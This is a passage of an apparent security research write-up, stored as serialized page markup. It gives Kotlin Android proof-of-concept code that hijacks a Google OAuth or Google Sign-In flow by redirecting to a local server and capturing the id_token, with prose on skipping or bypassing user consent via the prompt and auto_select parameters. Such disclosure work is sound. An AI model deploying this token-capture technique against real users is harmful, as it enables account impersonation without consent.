override",{"type":20,"tag":315,"props":98407,"children":98408},{"style":541},[98409],{"type":26,"value":4601},{"type":20,"tag":315,"props":98411,"children":98412},{"style":345},[98413],{"type":26,"value":68709},{"type":20,"tag":315,"props":98415,"children":98416},{"style":328},[98417],{"type":26,"value":68714},{"type":20,"tag":315,"props":98419,"children":98420},{"style":322},[98421],{"type":26,"value":68719},{"type":20,"tag":315,"props":98423,"children":98424},{"style":328},[98425],{"type":26,"value":98426},"?){\n",{"type":20,"tag":315,"props":98428,"children":98429},{"class":317,"line":356},[98430,98434,98438,98442],{"type":20,"tag":315,"props":98431,"children":98432},{"style":541},[98433],{"type":26,"value":68732},{"type":20,"tag":315,"props":98435,"children":98436},{"style":328},[98437],{"type":26,"value":61},{"type":20,"tag":315,"props":98439,"children":98440},{"style":345},[98441],{"type":26,"value":68741},{"type":20,"tag":315,"props":98443,"children":98444},{"style":328},[98445],{"type":26,"value":68746},{"type":20,"tag":315,"props":98447,"children":98448},{"class":317,"line":365},[98449],{"type":20,"tag":315,"props":98450,"children":98451},{"emptyLinePlaceholder":15},[98452],{"type":26,"value":427},{"type":20,"tag":315,"props":98454,"children":98455},{"class":317,"line":374},[98456],{"type":20,"tag":315,"props":98457,"children":98458},{"style":1071},[98459],{"type":26,"value":68761},{"type":20,"tag":315,"props":98461,"children":98462},{"class":317,"line":383},[98463,98467,98471,98475],{"type":20,"tag":315,"props":98464,"children":98465},{"style":345},[98466],{"type":26,"value":68769},{"type":20,"tag":315,"props":98468,"children":98469},{"style":328},[98470],{"type":26,"value":68774},{"type":20,"tag":315,"props":98472,"children":98473},{"style":345},[98474],{"type":26,"value":68779},{"type":20,"tag":315,"props":98476,"children":98477},{"style":328},[98478],{"type":26,"value":1092},{"type":20,"tag":315,"props":98480,"children":98481},{"class":317,"line":407},[98482,98486],{"type":20,"tag":315,"props":98483,"children":98484},{"style":525},[98485],{"type":26,"value":68791},{"type":20,"tag":315,"props":98487,"children":98488},{"style":328},[98489],{"type":26,"value":1092},{"type":20,"tag":315,"props":98491,"children":98492},{"class":317,"line":421},[98493,98497],{"type":20,"tag":315,"props":98494,"children":98495},{"style":345},[98496],{"type":26,"value":68803},{"type":20,"tag":315,"props":98498,"children":98499},{"style":328},[98500],{"type":26,"value":6131},{"type":20,"tag":315,"props":98502,"children":98503},{"class":317,"line":430},[98504,98508,98512,98516,98520,98524,98528],{"type":20,"tag":315,"props":98505,"children":98506},{"style":328},[98507],{"type":26,"value":68815},{"type":20,"tag":315,"props":98509,"children":98510},{"style":345},[98511],{"type":26,"value":68820},{"type":20,"tag":315,"props":98513,"children":98514},{"style":328},[98515],{"type":26,"value":1049},{"type":20,"tag":315,"props":98517,"children":98518},{"style":2652},[98519],{"type":26,"value":68829},{"type":20,"tag":315,"props":98521,"children":98522},{"style":328},[98523],{"type":26,"value":44},{"type":20,"tag":315,"props":98525,"children":98526},{"style":2652},[98527],{"type":26,"value":68838},{"type":20,"tag":315,"props":98529,"children":98530},{"style":328},[98531],{"type":26,"value":380},{"type":20,"tag":315,"props":98533,"children":98534},{"class":317,"line":453},[98535,98539,98543,98547,98551],{"type":20,"tag":315,"props":98536,"children":98537},{"style":328},[98538],{"type":26,"value":68850},{"type":20,"tag":315,"props":98540,"children":98541},{"style":541},[98542],{"type":26,"value":46662},{"type":20,"tag":315,"props":98544,"children":98545},{"style":328},[98546],{"type":26,"value":68859},{"type":20,"tag":315,"props":98548,"children":98549},{"style":322},[98550],{"type":26,"value":68864},{"type":20,"tag":315,"props":98552,"children":98553},{"style":328},[98554],{"type":26,"value":549},{"type":20,"tag":315,"props":98556,"children":98557},{"class":317,"line":486},[98558,98562,98566,98570,98574,98578,98582,98586,98590,98594,98598],{"type":20,"tag":315,"props":98559,"children":98560},{"style":328},[98561],{"type":26,"value":68815},{"type":20,"tag":315,"props":98563,"children":98564},{"style":345},[98565],{"type":26,"value":49706},{"type":20,"tag":315,"props":98567,"children":98568},{"style":328},[98569],{"type":26,"value":1049},{"type":20,"tag":315,"props":98571,"children":98572},{"style":2652},[98573],{"type":26,"value":68829},{"type":20,"tag":315,"props":98575,"children":98576},{"style":328},[98577],{"type":26,"value":44},{"type":20,"tag":315,"props":98579,"children":98580},{"style":2652},[98581],{"type":26,"value":68896},{"type":20,"tag":315,"props":98583,"children":98584},{"style":541},[98585],{"type":26,"value":32523},{"type":20,"tag":315,"props":98587,"children":98588},{"style":334},[98589],{"type":26,"value":68905},{"type":20,"tag":315,"props":98591,"children":98592},{"style":541},[98593],{"type":26,"value":32555},{"type":20,"tag":315,"props":98595,"children":98596},{"style":2652},[98597],{"type":26,"value":18463},{"type":20,"tag":315,"props":98599,"children":98600},{"style":328},[98601],{"type":26,"value":68918},{"type":20,"tag":315,"props":98603,"children":98604},{"class":317,"line":499},[98605],{"type":20,"tag":315,"props":98606,"children":98607},{"style":328},[98608],{"type":26,"value":57138},{"type":20,"tag":315,"props":98610,"children":98611},{"class":317,"line":513},[98612],{"type":20,"tag":315,"props":98613,"children":98614},{"style":328},[98615],{"type":26,"value":1728},{"type":20,"tag":315,"props":98617,"children":98618},{"class":317,"line":521},[98619],{"type":20,"tag":315,"props":98620,"children":98621},{"emptyLinePlaceholder":15},[98622],{"type":26,"value":427},{"type":20,"tag":315,"props":98624,"children":98625},{"class":317,"line":552},[98626],{"type":20,"tag":315,"props":98627,"children":98628},{"style":1071},[98629],{"type":26,"value":68947},{"type":20,"tag":315,"props":98631,"children":98632},{"class":317,"line":571},[98633,98637,98641,98645],{"type":20,"tag":315,"props":98634,"children":98635},{"style":541},[98636],{"type":26,"value":68955},{"type":20,"tag":315,"props":98638,"children":98639},{"style":328},[98640],{"type":26,"value":68960},{"type":20,"tag":315,"props":98642,"children":98643},{"style":334},[98644],{"type":26,"value":337},{"type":20,"tag":315,"props":98646,"children":98647},{"style":2652},[98648],{"type":26,"value":98649}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":20,"tag":315,"props":98651,"children":98652},{"class":317,"line":2031},[98653,98657,98661,98665,98669,98673,98677],{"type":20,"tag":315,"props":98654,"children":98655},{"style":541},[98656],{"type":26,"value":68955},{"type":20,"tag":315,"props":98658,"children":98659},{"style":328},[98660],{"type":26,"value":68981},{"type":20,"tag":315,"props":98662,"children":98663},{"style":334},[98664],{"type":26,"value":337},{"type":20,"tag":315,"props":98666,"children":98667},{"style":345},[98668],{"type":26,"value":68990},{"type":20,"tag":315,"props":98670,"children":98671},{"style":328},[98672],{"type":26,"value":68995},{"type":20,"tag":315,"props":98674,"children":98675},{"style":345},[98676],{"type":26,"value":37628},{"type":20,"tag":315,"props":98678,"children":98679},{"style":328},[98680],{"type":26,"value":69004},{"type":20,"tag":315,"props":98682,"children":98683},{"class":317,"line":2053},[98684,98688],{"type":20,"tag":315,"props":98685,"children":98686},{"style":345},[98687],{"type":26,"value":69012},{"type":20,"tag":315,"props":98689,"children":98690},{"style":328},[98691],{"type":26,"value":69017},{"type":20,"tag":315,"props":98693,"children":98694},{"class":317,"line":2061},[98695],{"type":20,"tag":315,"props":98696,"children":98697},{"style":328},[98698],{"type":26,"value":1736},{"type":20,"tag":315,"props":98700,"children":98701},{"class":317,"line":2070},[98702],{"type":20,"tag":315,"props":98703,"children":98704},{"emptyLinePlaceholder":15},[98705],{"type":26,"value":427},{"type":20,"tag":315,"props":98707,"children":98708},{"class":317,"line":2139},[98709,98713,98717,98721],{"type":20,"tag":315,"props":98710,"children":98711},{"style":541},[98712],{"type":26,"value":69039},{"type":20,"tag":315,"props":98714,"children":98715},{"style":541},[98716],{"type":26,"value":4601},{"type":20,"tag":315,"props":98718,"children":98719},{"style":345},[98720],{"type":26,"value":69048},{"type":20,"tag":315,"props":98722,"children":98723},{"style":328},[98724],{"type":26,"value":14137},{"type":20,"tag":315,"props":98726,"children":98727},{"class":317,"line":2147},[98728,98732,98736,98740,98744],{"type":20,"tag":315,"props":98729,"children":98730},{"style":345},[98731],{"type":26,"value":69060},{"type":20,"tag":315,"props":98733,"children":98734},{"style":328},[98735],{"type":26,"value":69065},{"type":20,"tag":315,"props":98737,"children":98738},{"style":334},[98739],{"type":26,"value":337},{"type":20,"tag":315,"props":98741,"children":98742},{"style":765},[98743],{"type":26,"value":69074},{"type":20,"tag":315,"props":98745,"children":98746},{"style":328},[98747],{"type":26,"value":549},{"type":20,"tag":315,"props":98749,"children":98750},{"class":317,"line":2177},[98751,98755],{"type":20,"tag":315,"props":98752,"children":98753},{"style":345},[98754],{"type":26,"value":69086},{"type":20,"tag":315,"props":98756,"children":98757},{"style":328},[98758],{"type":26,"value":1092},{"type":20,"tag":315,"props":98760,"children":98761},{"class":317,"line":2185},[98762,98766,98770,98774],{"type":20,"tag":315,"props":98763,"children":98764},{"style":541},[98765],{"type":26,"value":69098},{"type":20,"tag":315,"props":98767,"children":98768},{"style":328},[98769],{"type":26,"value":1049},{"type":20,"tag":315,"props":98771,"children":98772},{"style":2652},[98773],{"type":26,"value":69107},{"type":20,"tag":315,"props":98775,"children":98776},{"style":328},[98777],{"type":26,"value":549},{"type":20,"tag":315,"props":98779,"children":98780},{"class":317,"line":2217},[98781,98785,98789],{"type":20,"tag":315,"props":98782,"children":98783},{"style":328},[98784],{"type":26,"value":69119},{"type":20,"tag":315,"props":98786,"children":98787},{"style":345},[98788],{"type":26,"value":69124},{"type":20,"tag":315,"props":98790,"children":98791},{"style":328},[98792],{"type":26,"value":1092},{"type":20,"tag":315,"props":98794,"children":98795},{"class":317,"line":2225},[98796,98800],{"type":20,"tag":315,"props":98797,"children":98798},{"style":345},[98799],{"type":26,"value":69136},{"type":20,"tag":315,"props":98801,"children":98802},{"style":328},[98803],{"type":26,"value":1092},{"type":20,"tag":315,"props":98805,"children":98806},{"class":317,"line":2285},[98807,98811,98815,98819,98823],{"type":20,"tag":315,"props":98808,"children":98809},{"style":345},[98810],{"type":26,"value":69148},{"type":20,"tag":315,"props":98812,"children":98813},{"style":328},[98814],{"type":26,"value":69153},{"type":20,"tag":315,"props":98816,"children":98817},{"style":334},[98818],{"type":26,"value":337},{"type":20,"tag":315,"props":98820,"children":98821},{"style":2652},[98822],{"type":26,"value":69162},{"type":20,"tag":315,"props":98824,"children":98825},{"style":328},[98826],{"type":26,"value":380},{"type":20,"tag":315,"props":98828,"children":98829},{"class":317,"line":7444},[98830,98834,98838,98842,98846,98850,98854,98858],{"type":20,"tag":315,"props":98831,"children":98832},{"style":345},[98833],{"type":26,"value":69148},{"type":20,"tag":315,"props":98835,"children":98836},{"style":328},[98837],{"type":26,"value":69178},{"type":20,"tag":315,"props":98839,"children":98840},{"style":334},[98841],{"type":26,"value":337},{"type":20,"tag":315,"props":98843,"children":98844},{"style":2652},[98845],{"type":26,"value":69187},{"type":20,"tag":315,"props":98847,"children":98848},{"style":328},[98849],{"type":26,"value":69192},{"type":20,"tag":315,"props":98851,"children":98852},{"style":334},[98853],{"type":26,"value":337},{"type":20,"tag":315,"props":98855,"children":98856},{"style":2652},[98857],{"type":26,"value":69201},{"type":20,"tag":315,"props":98859,"children":98860},{"style":328},[98861],{"type":26,"value":380},{"type":20,"tag":315,"props":98863,"children":98864},{"class":317,"line":7462},[98865,98869,98873,98877],{"type":20,"tag":315,"props":98866,"children":98867},{"style":345},[98868],{"type":26,"value":69213},{"type":20,"tag":315,"props":98870,"children":98871},{"style":328},[98872],{"type":26,"value":1049},{"type":20,"tag":315,"props":98874,"children":98875},{"style":2652},[98876],{"type":26,"value":69222},{"type":20,"tag":315,"props":98878,"children":98879},{"style":328},[98880],{"type":26,"value":380},{"type":20,"tag":315,"props":98882,"children":98883},{"class":317,"line":7507},[98884],{"type":20,"tag":315,"props":98885,"children":98886},{"style":328},[98887],{"type":26,"value":69234},{"type":20,"tag":315,"props":98889,"children":98890},{"class":317,"line":7613},[98891,98895],{"type":20,"tag":315,"props":98892,"children":98893},{"style":345},[98894],{"type":26,"value":69242},{"type":20,"tag":315,"props":98896,"children":98897},{"style":328},[98898],{"type":26,"value":1092},{"type":20,"tag":315,"props":98900,"children":98901},{"class":317,"line":21914},[98902,98906,98910,98914,98918],{"type":20,"tag":315,"props":98903,"children":98904},{"style":345},[98905],{"type":26,"value":69254},{"type":20,"tag":315,"props":98907,"children":98908},{"style":328},[98909],{"type":26,"value":7985},{"type":20,"tag":315,"props":98911,"children":98912},{"style":334},[98913],{"type":26,"value":817},{"type":20,"tag":315,"props":98915,"children":98916},{"style":2652},[98917],{"type":26,"value":69267},{"type":20,"tag":315,"props":98919,"children":98920},{"style":328},[98921],{"type":26,"value":7995},{"type":20,"tag":315,"props":98923,"children":98924},{"class":317,"line":21949},[98925,98929],{"type":20,"tag":315,"props":98926,"children":98927},{"style":345},[98928],{"type":26,"value":69279},{"type":20,"tag":315,"props":98930,"children":98931},{"style":328},[98932],{"type":26,"value":1092},{"type":20,"tag":315,"props":98934,"children":98935},{"class":317,"line":21957},[98936,98940],{"type":20,"tag":315,"props":98937,"children":98938},{"style":334},[98939],{"type":26,"value":69291},{"type":20,"tag":315,"props":98941,"children":98942},{"style":2652},[98943],{"type":26,"value":98944},"\"document.body.innerText = location.hash;\"\n",{"type":20,"tag":315,"props":98946,"children":98947},{"class":317,"line":21965},[98948],{"type":20,"tag":315,"props":98949,"children":98950},{"style":328},[98951],{"type":26,"value":69304},{"type":20,"tag":315,"props":98953,"children":98954},{"class":317,"line":21974},[98955],{"type":20,"tag":315,"props":98956,"children":98957},{"style":328},[98958],{"type":26,"value":69234},{"type":20,"tag":315,"props":98960,"children":98961},{"class":317,"line":22016},[98962],{"type":20,"tag":315,"props":98963,"children":98964},{"style":328},[98965],{"type":26,"value":69319},{"type":20,"tag":315,"props":98967,"children":98968},{"class":317,"line":22049},[98969],{"type":20,"tag":315,"props":98970,"children":98971},{"style":328},[98972],{"type":26,"value":69327},{"type":20,"tag":315,"props":98974,"children":98975},{"class":317,"line":22057},[98976],{"type":20,"tag":315,"props":98977,"children":98978},{"style":328},[98979],{"type":26,"value":57138},{"type":20,"tag":315,"props":98981,"children":98982},{"class":317,"line":22065},[98983,98987,98991,98995,98999,99003],{"type":20,"tag":315,"props":98984,"children":98985},{"style":328},[98986],{"type":26,"value":69342},{"type":20,"tag":315,"props":98988,"children":98989},{"style":345},[98990],{"type":26,"value":69347},{"type":20,"tag":315,"props":98992,"children":98993},{"style":328},[98994],{"type":26,"value":69352},{"type":20,"tag":315,"props":98996,"children":98997},{"style":334},[98998],{"type":26,"value":337},{"type":20,"tag":315,"props":99000,"children":99001},{"style":541},[99002],{"type":26,"value":544},{"type":20,"tag":315,"props":99004,"children":99005},{"style":328},[99006],{"type":26,"value":380},{"type":20,"tag":315,"props":99008,"children":99009},{"class":317,"line":22074},[99010],{"type":20,"tag":315,"props":99011,"children":99012},{"style":328},[99013],{"type":26,"value":1736},{"type":20,"tag":29,"props":99015,"children":99016},{},[99017],{"type":26,"value":99018},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":20,"tag":29,"props":99020,"children":99021},{},[99022,99024,99030],{"type":26,"value":99023},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":20,"tag":119,"props":99025,"children":99027},{"className":99026},[],[99028],{"type":26,"value":99029},"auto_select",{"type":26,"value":99031}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":20,"tag":305,"props":99033,"children":99035},{"className":98391,"code":99034,"language":98393,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[99036],{"type":20,"tag":119,"props":99037,"children":99038},{"__ignoreMap":7},[99039,99066,99085,99092,99111,99122,99133,99164,99187,99234,99241,99248,99255,99295,99306,99313,99320,99339,99362,99373,99392,99407,99418,99438,99449,99466,99492,99516,99523,99534,99546,99559,99567,99575,99582,99589,99597,99605,99613,99621,99629,99637,99645,99652,99659,99667,99675,99683,99690,99697,99705,99712,99733,99741,99748,99755,99766,99790,99802,99819,99826,99833,99841,99849,99857,99885],{"type":20,"tag":315,"props":99040,"children":99041},{"class":317,"line":318},[99042,99046,99050,99054,99058,99062],{"type":20,"tag":315,"props":99043,"children":99044},{"style":541},[99045],{"type":26,"value":68700},{"type":20,"tag":315,"props":99047,"children":99048},{"style":541},[99049],{"type":26,"value":4601},{"type":20,"tag":315,"props":99051,"children":99052},{"style":345},[99053],{"type":26,"value":68709},{"type":20,"tag":315,"props":99055,"children":99056},{"style":328},[99057],{"type":26,"value":68714},{"type":20,"tag":315,"props":99059,"children":99060},{"style":322},[99061],{"type":26,"value":68719},{"type":20,"tag":315,"props":99063,"children":99064},{"style":328},[99065],{"type":26,"value":68724},{"type":20,"tag":315,"props":99067,"children":99068},{"class":317,"line":356},[99069,99073,99077,99081],{"type":20,"tag":315,"props":99070,"children":99071},{"style":541},[99072],{"type":26,"value":68732},{"type":20,"tag":315,"props":99074,"children":99075},{"style":328},[99076],{"type":26,"value":61},{"type":20,"tag":315,"props":99078,"children":99079},{"style":345},[99080],{"type":26,"value":68741},{"type":20,"tag":315,"props":99082,"children":99083},{"style":328},[99084],{"type":26,"value":68746},{"type":20,"tag":315,"props":99086,"children":99087},{"class":317,"line":365},[99088],{"type":20,"tag":315,"props":99089,"children":99090},{"emptyLinePlaceholder":15},[99091],{"type":26,"value":427},{"type":20,"tag":315,"props":99093,"children":99094},{"class":317,"line":374},[99095,99099,99103,99107],{"type":20,"tag":315,"props":99096,"children":99097},{"style":345},[99098],{"type":26,"value":68769},{"type":20,"tag":315,"props":99100,"children":99101},{"style":328},[99102],{"type":26,"value":68774},{"type":20,"tag":315,"props":99104,"children":99105},{"style":345},[99106],{"type":26,"value":68779},{"type":20,"tag":315,"props":99108,"children":99109},{"style":328},[99110],{"type":26,"value":1092},{"type":20,"tag":315,"props":99112,"children":99113},{"class":317,"line":383},[99114,99118],{"type":20,"tag":315,"props":99115,"children":99116},{"style":525},[99117],{"type":26,"value":68791},{"type":20,"tag":315,"props":99119,"children":99120},{"style":328},[99121],{"type":26,"value":1092},{"type":20,"tag":315,"props":99123,"children":99124},{"class":317,"line":407},[99125,99129],{"type":20,"tag":315,"props":99126,"children":99127},{"style":345},[99128],{"type":26,"value":68803},{"type":20,"tag":315,"props":99130,"children":99131},{"style":328},[99132],{"type":26,"value":6131},{"type":20,"tag":315,"props":99134,"children":99135},{"class":317,"line":421},[99136,99140,99144,99148,99152,99156,99160],{"type":20,"tag":315,"props":99137,"children":99138},{"style":328},[99139],{"type":26,"value":68815},{"type":20,"tag":315,"props":99141,"children":99142},{"style":345},[99143],{"type":26,"value":68820},{"type":20,"tag":315,"props":99145,"children":99146},{"style":328},[99147],{"type":26,"value":1049},{"type":20,"tag":315,"props":99149,"children":99150},{"style":2652},[99151],{"type":26,"value":68829},{"type":20,"tag":315,"props":99153,"children":99154},{"style":328},[99155],{"type":26,"value":44},{"type":20,"tag":315,"props":99157,"children":99158},{"style":2652},[99159],{"type":26,"value":68838},{"type":20,"tag":315,"props":99161,"children":99162},{"style":328},[99163],{"type":26,"value":380},{"type":20,"tag":315,"props":99165,"children":99166},{"class":317,"line":430},[99167,99171,99175,99179,99183],{"type":20,"tag":315,"props":99168,"children":99169},{"style":328},[99170],{"type":26,"value":68850},{"type":20,"tag":315,"props":99172,"children":99173},{"style":541},[99174],{"type":26,"value":46662},{"type":20,"tag":315,"props":99176,"children":99177},{"style":328},[99178],{"type":26,"value":68859},{"type":20,"tag":315,"props":99180,"children":99181},{"style":322},[99182],{"type":26,"value":68864},{"type":20,"tag":315,"props":99184,"children":99185},{"style":328},[99186],{"type":26,"value":549},{"type":20,"tag":315,"props":99188,"children":99189},{"class":317,"line":453},[99190,99194,99198,99202,99206,99210,99214,99218,99222,99226,99230],{"type":20,"tag":315,"props":99191,"children":99192},{"style":328},[99193],{"type":26,"value":68815},{"type":20,"tag":315,"props":99195,"children":99196},{"style":345},[99197],{"type":26,"value":49706},{"type":20,"tag":315,"props":99199,"children":99200},{"style":328},[99201],{"type":26,"value":1049},{"type":20,"tag":315,"props":99203,"children":99204},{"style":2652},[99205],{"type":26,"value":68829},{"type":20,"tag":315,"props":99207,"children":99208},{"style":328},[99209],{"type":26,"value":44},{"type":20,"tag":315,"props":99211,"children":99212},{"style":2652},[99213],{"type":26,"value":68896},{"type":20,"tag":315,"props":99215,"children":99216},{"style":541},[99217],{"type":26,"value":32523},{"type":20,"tag":315,"props":99219,"children":99220},{"style":334},[99221],{"type":26,"value":68905},{"type":20,"tag":315,"props":99223,"children":99224},{"style":541},[99225],{"type":26,"value":32555},{"type":20,"tag":315,"props":99227,"children":99228},{"style":2652},[99229],{"type":26,"value":18463},{"type":20,"tag":315,"props":99231,"children":99232},{"style":328},[99233],{"type":26,"value":68918},{"type":20,"tag":315,"props":99235,"children":99236},{"class":317,"line":486},[99237],{"type":20,"tag":315,"props":99238,"children":99239},{"style":328},[99240],{"type":26,"value":57138},{"type":20,"tag":315,"props":99242,"children":99243},{"class":317,"line":499},[99244],{"type":20,"tag":315,"props":99245,"children":99246},{"style":328},[99247],{"type":26,"value":1728},{"type":20,"tag":315,"props":99249,"children":99250},{"class":317,"line":513},[99251],{"type":20,"tag":315,"props":99252,"children":99253},{"emptyLinePlaceholder":15},[99254],{"type":26,"value":427},{"type":20,"tag":315,"props":99256,"children":99257},{"class":317,"line":521},[99258,99262,99266,99270,99274,99278,99282,99286,99291],{"type":20,"tag":315,"props":99259,"children":99260},{"style":541},[99261],{"type":26,"value":68955},{"type":20,"tag":315,"props":99263,"children":99264},{"style":328},[99265],{"type":26,"value":68981},{"type":20,"tag":315,"props":99267,"children":99268},{"style":334},[99269],{"type":26,"value":337},{"type":20,"tag":315,"props":99271,"children":99272},{"style":345},[99273],{"type":26,"value":68990},{"type":20,"tag":315,"props":99275,"children":99276},{"style":328},[99277],{"type":26,"value":68995},{"type":20,"tag":315,"props":99279,"children":99280},{"style":345},[99281],{"type":26,"value":37628},{"type":20,"tag":315,"props":99283,"children":99284},{"style":328},[99285],{"type":26,"value":1049},{"type":20,"tag":315,"props":99287,"children":99288},{"style":2652},[99289],{"type":26,"value":99290},"\"http://localhost:3000\"",{"type":20,"tag":315,"props":99292,"children":99293},{"style":328},[99294],{"type":26,"value":18116},{"type":20,"tag":315,"props":99296,"children":99297},{"class":317,"line":552},[99298,99302],{"type":20,"tag":315,"props":99299,"children":99300},{"style":345},[99301],{"type":26,"value":69012},{"type":20,"tag":315,"props":99303,"children":99304},{"style":328},[99305],{"type":26,"value":69017},{"type":20,"tag":315,"props":99307,"children":99308},{"class":317,"line":571},[99309],{"type":20,"tag":315,"props":99310,"children":99311},{"style":328},[99312],{"type":26,"value":1736},{"type":20,"tag":315,"props":99314,"children":99315},{"class":317,"line":2031},[99316],{"type":20,"tag":315,"props":99317,"children":99318},{"emptyLinePlaceholder":15},[99319],{"type":26,"value":427},{"type":20,"tag":315,"props":99321,"children":99322},{"class":317,"line":2053},[99323,99327,99331,99335],{"type":20,"tag":315,"props":99324,"children":99325},{"style":541},[99326],{"type":26,"value":69039},{"type":20,"tag":315,"props":99328,"children":99329},{"style":541},[99330],{"type":26,"value":4601},{"type":20,"tag":315,"props":99332,"children":99333},{"style":345},[99334],{"type":26,"value":69048},{"type":20,"tag":315,"props":99336,"children":99337},{"style":328},[99338],{"type":26,"value":14137},{"type":20,"tag":315,"props":99340,"children":99341},{"class":317,"line":2061},[99342,99346,99350,99354,99358],{"type":20,"tag":315,"props":99343,"children":99344},{"style":345},[99345],{"type":26,"value":69060},{"type":20,"tag":315,"props":99347,"children":99348},{"style":328},[99349],{"type":26,"value":69065},{"type":20,"tag":315,"props":99351,"children":99352},{"style":334},[99353],{"type":26,"value":337},{"type":20,"tag":315,"props":99355,"children":99356},{"style":765},[99357],{"type":26,"value":69074},{"type":20,"tag":315,"props":99359,"children":99360},{"style":328},[99361],{"type":26,"value":549},{"type":20,"tag":315,"props":99363,"children":99364},{"class":317,"line":2070},[99365,99369],{"type":20,"tag":315,"props":99366,"children":99367},{"style":345},[99368],{"type":26,"value":69086},{"type":20,"tag":315,"props":99370,"children":99371},{"style":328},[99372],{"type":26,"value":1092},{"type":20,"tag":315,"props":99374,"children":99375},{"class":317,"line":2139},[99376,99380,99384,99388],{"type":20,"tag":315,"props":99377,"children":99378},{"style":541},[99379],{"type":26,"value":69098},{"type":20,"tag":315,"props":99381,"children":99382},{"style":328},[99383],{"type":26,"value":1049},{"type":20,"tag":315,"props":99385,"children":99386},{"style":2652},[99387],{"type":26,"value":69107},{"type":20,"tag":315,"props":99389,"children":99390},{"style":328},[99391],{"type":26,"value":549},{"type":20,"tag":315,"props":99393,"children":99394},{"class":317,"line":2147},[99395,99399,99403],{"type":20,"tag":315,"props":99396,"children":99397},{"style":328},[99398],{"type":26,"value":69119},{"type":20,"tag":315,"props":99400,"children":99401},{"style":345},[99402],{"type":26,"value":69124},{"type":20,"tag":315,"props":99404,"children":99405},{"style":328},[99406],{"type":26,"value":1092},{"type":20,"tag":315,"props":99408,"children":99409},{"class":317,"line":2177},[99410,99414],{"type":20,"tag":315,"props":99411,"children":99412},{"style":345},[99413],{"type":26,"value":69136},{"type":20,"tag":315,"props":99415,"children":99416},{"style":328},[99417],{"type":26,"value":1092},{"type":20,"tag":315,"props":99419,"children":99420},{"class":317,"line":2185},[99421,99425,99429,99434],{"type":20,"tag":315,"props":99422,"children":99423},{"style":345},[99424],{"type":26,"value":69213},{"type":20,"tag":315,"props":99426,"children":99427},{"style":328},[99428],{"type":26,"value":1049},{"type":20,"tag":315,"props":99430,"children":99431},{"style":2652},[99432],{"type":26,"value":99433},"\"Test\"",{"type":20,"tag":315,"props":99435,"children":99436},{"style":328},[99437],{"type":26,"value":380},{"type":20,"tag":315,"props":99439,"children":99440},{"class":317,"line":2217},[99441,99445],{"type":20,"tag":315,"props":99442,"children":99443},{"style":345},[99444],{"type":26,"value":69279},{"type":20,"tag":315,"props":99446,"children":99447},{"style":328},[99448],{"type":26,"value":1092},{"type":20,"tag":315,"props":99450,"children":99451},{"class":317,"line":2225},[99452,99457,99461],{"type":20,"tag":315,"props":99453,"children":99454},{"style":328},[99455],{"type":26,"value":99456}," src ",{"type":20,"tag":315,"props":99458,"children":99459},{"style":334},[99460],{"type":26,"value":337},{"type":20,"tag":315,"props":99462,"children":99463},{"style":2652},[99464],{"type":26,"value":99465}," \"https://accounts.google.com/gsi/client\"\n",{"type":20,"tag":315,"props":99467,"children":99468},{"class":317,"line":2285},[99469,99474,99479,99483,99487],{"type":20,"tag":315,"props":99470,"children":99471},{"style":328},[99472],{"type":26,"value":99473}," attributes[",{"type":20,"tag":315,"props":99475,"children":99476},{"style":2652},[99477],{"type":26,"value":99478},"\"async\"",{"type":20,"tag":315,"props":99480,"children":99481},{"style":328},[99482],{"type":26,"value":7057},{"type":20,"tag":315,"props":99484,"children":99485},{"style":334},[99486],{"type":26,"value":337},{"type":20,"tag":315,"props":99488,"children":99489},{"style":2652},[99490],{"type":26,"value":99491}," 